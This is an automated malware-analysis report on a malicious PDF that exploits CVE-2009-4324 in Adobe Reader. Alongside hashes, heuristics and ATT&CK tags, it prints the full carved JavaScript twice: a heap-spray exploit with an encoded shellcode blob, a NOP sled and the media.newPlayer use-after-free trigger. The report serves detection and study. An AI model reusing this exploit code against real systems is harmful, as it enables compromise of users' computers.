PDF malware analysis — malicious · 9942554b7ea81bdf

MALICIOUS

PDF

9.0 KB Created: 2010-06-29 10:14:47 +08:00 Authoring application: Acrobat 编辑器 8.0 (via Adobe Acrobat 8.0) First seen: 2013-09-07

MD5: 6e3695120e5b10afa2545bb74b9cb8f4 SHA-1: 8868db9069aad1cc25da58658124deea86781b06 SHA-256: 9942554b7ea81bdfcd77474baa364fa41a5a8c36a80c0831c827fa0e63771931

228 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 JavaScript/JScript T1204.002 Malicious Link

The PDF file contains embedded JavaScript that leverages the CVE-2009-4324 vulnerability, specifically targeting the media.newPlayer API. The JavaScript is obfuscated using string concatenation and encoding, but static analysis was able to recover the exploit trigger. This indicates the document is designed to download and execute a second-stage payload. No specific malware family was identified.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 6

media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324

PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee% …

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0021_000.js`	pdf-javascript-stream	PDF /JS object 21 at offset 0x11B8	2773 bytes
SHA-256: `cd70b4950ac2d7a873e26527021073e3d3bc8f90d82f691258fb5b9a40c39094`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script First 1,000 lines of the extracted script var TCfIpiOxOYTTeNgDQsDQaDtVjQ; for(i=0;i<18000;i++) TCfIpiOxOYTTeNgDQsDQaDtVjQ = TCfIpiOxOYTTeNgDQsDQaDtVjQ+0x70; function urpl(sc){ var keyu= "u"; var re = /Z/g; sc = sc.replace(re,keyu); return sc; } function TTD() { var lenth = 36000 - sc["\x6c\x65\x6e\x67\x74\x68"]; lenth = lenth/2; this._strings = new Array; } TTD.prototype.append = function(str) { this._strings.push(str); return this; } TTD.prototype.toString = function() { return this._strings.join(""); } TTD.prototype.length = function() { var str = this._strings.join(""); return str.length; } var a = "\x6D\x65\x64"; var c = "\x69\x61"; var b = "\x6E\x65\x77\x50\x6C\x61\x79"; var d = "\x65\x72"; var sc = unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee%Zd697%Z13bc%Z2ab7%Zab67%Zb418%Z61ee%Z2aa7%Z13be%Zd697%Z9b11%Z2118%Z1099%Z891f%Z671e%Zd2af%Zab65%Z1e18%Zf8e6%Zee60%Zac92%Z2902%Zbb11%Z3618%Z13a3%Z211f%Z89f8%Zce1a%Z26ba%Z4f4f%Ze442%Za83a%Z7743%Z019d%Zfbd6%Zdee2%Zce2c%Zdee0%Z3067%Zdee1%Zeede%Zdee0")); var nop = unescape("\x25\x750c0c"); var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29"; var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31"; var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31"; var str1=unescape(urpl("%Z0d0c%Z0d0c%Z0d0c%Z0d0c%Z4170%Z6d7a%Z554b%Z4d67%Z794f%Z514f%Z6f4d%Z585a%Z764f%Z4c56%Z6f4b%Z4858%Z4249%Z666d%Z566f%Z625a%Z4567%Z7568%Z6a46%Z5258%Z714e%Z7961%Z7a61%Z4878%Z756b%Z754d%Z4c57%Z647a%Z5870%Z4d46%Z4462%Z4b4f")); var h = "\x70\x72\x69"; var i = "\x6E\x74\x64"; var j = h+i; function AppendLoop(ss,len) { var TMP = new TTD(); for(slen=0;slen<len;) { TMP.append(ss); TMP.append(ss); ss = TMP.toString(); slen = ss["\x6c\x65\x6e\x67\x74\x68"] } return ss; } nop = AppendLoop(nop,18000); memory=new Array(); for(i=0;i<0xE00;i++) { var TMP2 = new TTD(); TMP2.append(nop); TMP2.append(sc); memory[i] = TMP2.toString(); } if(app.viewerVersion<9) { util[j](f+g, e); util[j](f+g, e); try {this[a+c][b+d](null);} catch(e) {} util[j](f+g, e); } else { util[j](f+g, e); util[j](f+g, e); try {this[a+c][b+d](null);} catch(e) {} util[j](str1,e); }
`javascript_obj0021_001.js`	pdf-javascript-stream	PDF /JS object 21 at offset 0x11DC	4687 bytes
SHA-256: `3d5feb2ec749660ba39ed2eed424c5c3c7b3f3557785cf0cfccee7781141b48f`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script First 1,000 lines of the extracted script var TCfIpiOxOYTTeNgDQsDQaDtVjQ; for(i=0;i<18000;i++) TCfIpiOxOYTTeNgDQsDQaDtVjQ = TCfIpiOxOYTTeNgDQsDQaDtVjQ+0x70; function urpl(sc){ var keyu= "u"; var re = /Z/g; sc = sc.replace(re,keyu); return sc; } function TTD() { var lenth = 36000 - sc["\x6c\x65\x6e\x67\x74\x68"]; lenth = lenth/2; this._strings = new Array; } TTD.prototype.append = function(str) { this._strings.push(str); return this; } TTD.prototype.toString = function() { return this._strings.join(""); } TTD.prototype.length = function() { var str = this._strings.join(""); return str.length; } var a = "\x6D\x65\x64"; var c = "\x69\x61"; var b = "\x6E\x65\x77\x50\x6C\x61\x79"; var d = "\x65\x72"; var sc = unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee%Zd697%Z13bc%Z2ab7%Zab67%Zb418%Z61ee%Z2aa7%Z13be%Zd697%Z9b11%Z2118%Z1099%Z891f%Z671e%Zd2af%Zab65%Z1e18%Zf8e6%Zee60%Zac92%Z2902%Zbb11%Z3618%Z13a3%Z211f%Z89f8%Zce1a%Z26ba%Z4f4f%Ze442%Za83a%Z7743%Z019d%Zfbd6%Zdee2%Zce2c%Zdee0%Z3067%Zdee1%Zeede%Zdee0")); var nop = unescape("\x25\x750c0c"); var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29"; var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31"; var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31"; var str1=unescape(urpl("%Z0d0c%Z0d0c%Z0d0c%Z0d0c%Z4170%Z6d7a%Z554b%Z4d67%Z794f%Z514f%Z6f4d%Z585a%Z764f%Z4c56%Z6f4b%Z4858%Z4249%Z666d%Z566f%Z625a%Z4567%Z7568%Z6a46%Z5258%Z714e%Z7961%Z7a61%Z4878%Z756b%Z754d%Z4c57%Z647a%Z5870%Z4d46%Z4462%Z4b4f")); var h = "\x70\x72\x69"; var i = "\x6E\x74\x64"; var j = h+i; function AppendLoop(ss,len) { var TMP = new TTD(); for(slen=0;slen<len;) { TMP.append(ss); TMP.append(ss); ss = TMP.toString(); slen = ss["\x6c\x65\x6e\x67\x74\x68"] } return ss; } nop = AppendLoop(nop,18000); memory=new Array(); for(i=0;i<0xE00;i++) { var TMP2 = new TTD(); TMP2.append(nop); TMP2.append(sc); memory[i] = TMP2.toString(); } if(app.viewerVersion<9) { util[j](f+g, e); util[j](f+g, e); try {this[a+c][b+d](null);} catch(e) {} util[j](f+g, e); } else { util[j](f+g, e); util[j](f+g, e); try {this[a+c][b+d](null);} catch(e) {} util[j](str1,e); } endstream endobj 2 0 obj << /Rotate 0 /pdftk_PageNum 1 /CropBox [0.0 0.0 595.0 842.0] /MediaBox [0.0 0.0 595.0 842.0] /Resources << /XObject << /Fm0 13 0 R >> >> /Parent 1 0 R /Contents 22 0 R /LastModified (D:20100629101450+08'00') /PieceInfo 23 0 R /Type /Page >> endobj 22 0 obj << /Length 12 >> stream q /Fm0 Do Q endstream endobj 10 0 obj (DefaultFlow) endobj 24 0 obj << /Flow 10 0 R >> endobj 25 0 obj (D:20100629021450Z) endobj 26 0 obj << /LastModified 25 0 R /Private 24 0 R >> endobj 27 0 obj << /PDFWP 26 0 R >> endobj 13 0 obj << /Resources << >> /BBox [108.0 72.0 487.0 770.0] /Matrix [1.0 0.0 0.0 1.0 0.0 0.0] /FormType 1 /Subtype /Form /LastModified 25 0 R /Length 0 /Type /XObject /PieceInfo 27 0 R >> stream endstream endobj 23 0 obj << /PDFWP 28 0 R >> endobj 28 0 obj << /LastModified 29 0 R /Private 30 0 R >> endobj 30 0 obj << >> endobj 29 0 obj (D:20100629021450Z) endobj 31 0 obj << /Creator (�� A c r o b a t ��Vh 8 . 0) /Title (��g*h ��) /Producer (Adobe Acrobat 8.0) /ModDate (D:20100629101554+08'00') /CreationDate (D:20100629101447+08'00') >> endobj xref 0 32 0000000000 65535 f 0000000015 00000 n 0000007365 00000 n 0000000074 00000 n 0000003654 00000 n 0000003690 00000 n 0000003818 00000 n 0000003748 00000 n 0000003854 00000 n 0000003900 00000 n 0000007691 00000 n 0000003923 00000 n 0000003982 00000 n 0000007895 00000 n 0000004076 00000 n 0000004132 00000 n 0000004189 00000 n 0000004232 00000 n 0000004398 00000 n 0000004441 00000 n 0000004486 00000 n 0000004536 00000 n 0000007625 00000 n 0000008112 00000 n 0000007722 00000 n 0000007759 00000 n 0000007796 00000 n 0000007857 00000 n 0000008150 00000 n 0000008235 00000 n 0000008211 00000 n 0000008272 00000 n trailer << /Info 31 0 R /Root 17 0 R /Size 32 /ID [<5f4dddbc13bc49468e67eb96c8c2d7d2> <cf89bd85c1cb8d4e90c8908088569ea1>] >> startxref 8462 %%EOF
`legacy_pdfkit_stage_000.js`	deobfuscated-js	string-concatenation normalized Acrobat API aliases at offset 0x11B8	126 bytes
SHA-256: `42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74`
Preview script First 1,000 lines of the extracted script media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 6

Related samples 8

Extracted artifacts 3